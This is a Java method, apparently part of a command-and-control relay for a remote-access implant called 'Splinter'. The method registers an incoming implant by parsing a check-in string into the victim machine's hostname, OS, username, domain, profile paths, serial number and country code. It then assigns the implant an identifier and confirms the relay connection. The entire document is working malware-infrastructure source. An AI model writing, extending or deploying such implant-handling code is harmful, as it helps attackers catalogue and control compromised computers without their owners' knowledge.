private boolean determineCommand(String line)
  {
    try
    {
      if ((line == null) || (line.trim().equals("")))
      {
        return false;
      }

      if (line.startsWith("[SPLINTER_IMPLANT]"))
      {
        this.myIMPLANT_ID = 2;
        try { this.myImplantName = Driver.ARR_IMPLANT_NAME[this.myIMPLANT_ID]; } catch (Exception e) { this.myImplantName = "UNKNOWN"; }

        Driver.sop("-->>>> Ooooohhh Joy! Looks like we have a " + this.myImplantName + " connected!  -->>>> confidence: 100%.  Setting up the environment to handle this type of implant");
        try
        {
          line = line.replace("[SPLINTER_IMPLANT]", "");
        } catch (Exception localException1) {
        }
        String[] arrAgent = line.split("%%%%%");

        this.myImplantInitialLaunchDirectory = arrAgent[0];
        this.myHostName = arrAgent[1];
        this.myOS = arrAgent[2];
        this.myOS_Type = arrAgent[3];
        this.myUserName = arrAgent[4];
        this.myUserDomain = arrAgent[5];
        this.myTempPath = arrAgent[6];
        this.myUserProfile = arrAgent[7];
        this.myProcessorArchitecture = arrAgent[8];
        this.myNumberOfProcessors = arrAgent[9];
        this.mySystemRoot = arrAgent[10];

        this.myServicePack = arrAgent[11];
        this.myNumberOfUsers = arrAgent[12];
        this.mySerialNumber = arrAgent[13];
        this.myOS_Architecture = arrAgent[14];
        this.myCountryCode = arrAgent[15];
        this.myVersionNumber = arrAgent[16];
        this.myHomeDrive = arrAgent[17];

        this.myRandomIdentifier = Driver.getUniqueRandomNumber();

        this.myUniqueDelimiter = ("[SPLINTER_IMPLANT@" + this.myRandomIdentifier + "]");

        sendCommand_RAW_ToAgent(""+this.myRandomIdentifier);

        sendCommand_RAW_ToAgent("[SPLINTER_IMPLANT]%%%%%[RELAY_NOTIFICATION_YOU_ARE_CONNECTED_TO_RELAY]");

        return true;
      }

      if (line.startsWith(this.myUniqueDelimiter))
      {
        return false;
      }

      return false;
    }
    catch (Exception e)
    {
      Driver.eop("determineCommand", this.strMyClassName, e, e.getLocalizedMessage(), false);
      Driver.sop("Geez!!!!  Missed it by that much. Authentication failed for this implant... invalid parameters passed in");

      this.myIMPLANT_ID = 0;
      try { this.myImplantName = Driver.ARR_IMPLANT_NAME[this.myIMPLANT_ID]; } catch (Exception ee) { this.myImplantName = "UNKNOWN"; }


    }

    return false;
  }